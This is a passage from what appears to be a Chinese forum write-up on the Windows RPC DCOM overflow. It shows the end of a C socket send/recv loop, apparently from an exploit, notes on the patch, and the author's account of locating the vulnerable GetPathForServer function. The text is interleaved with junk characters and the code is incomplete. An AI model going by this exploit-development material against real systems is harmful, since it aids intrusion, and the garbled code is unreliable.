{ d5 r0 K5 J* A4 b" [' f7 ^
printf("Send failed.Error:%d\n",WSAGetLastError());0 m& S- R: K3 t3 v7 [8 Q( P
return;, L0 f! c6 r5 R$ `" r( g
}: h1 I# x, b$ z# e: a
$ P# @: ?5 V) t, U! {len=recv(sock,buf1,1000,NULL);
/ a% z1 E% n$ B. n% Q/ P. gif (send(sock,buf2,len1,0)==SOCKET_ERROR)
( U9 H7 d" F) e7 k- v5 w/ a. k{, } |2 X, ?* l8 W. h% L
printf("Send failed.Error:%d\n",WSAGetLastError());
?7 r% Q' g' Q: n7 U- ?return;
( y m" G$ C, k, q b# g6 Q% s, e}3 p0 q5 C, Z, h0 o
len=recv(sock,buf1,1024,NULL);
e8 V# b' V6 n! N+ [}
0 S/ Q. Y9 N/ o- n. M' D& U2 g/ k1 G. b7 p; _6 [
补丁机理:( b$ Y6 S8 c m+ D. l& a3 _6 W
补丁把远程和本地的溢出都补了,呵呵,这个这么有名的东西,我也懒得多说了。1 N; g5 u" t$ m
# w) P% k" ^# y" Z2 k补记:
! m' f3 m+ f$ x( E4 j3 \9 [由于缺乏更多的技术细节,搞这个从上星期五到现在终于才搞定,惭愧,不过值得庆幸的是其间发现了RPC DCOM DOS的漏洞。先开始被本地溢出的迷惑了很久,怎么也无法远程进入这个函数,最后偶然的一次,让我错误的看花了眼,再远程调用的时候,以为GETSERVERPATH是存在本地溢出的GetPathForServer函数,,心中以为远程进入了GetPathForServer函数,仔细的跟踪,这才发现问题所在。感谢所有关心和指导我的同志们。 |
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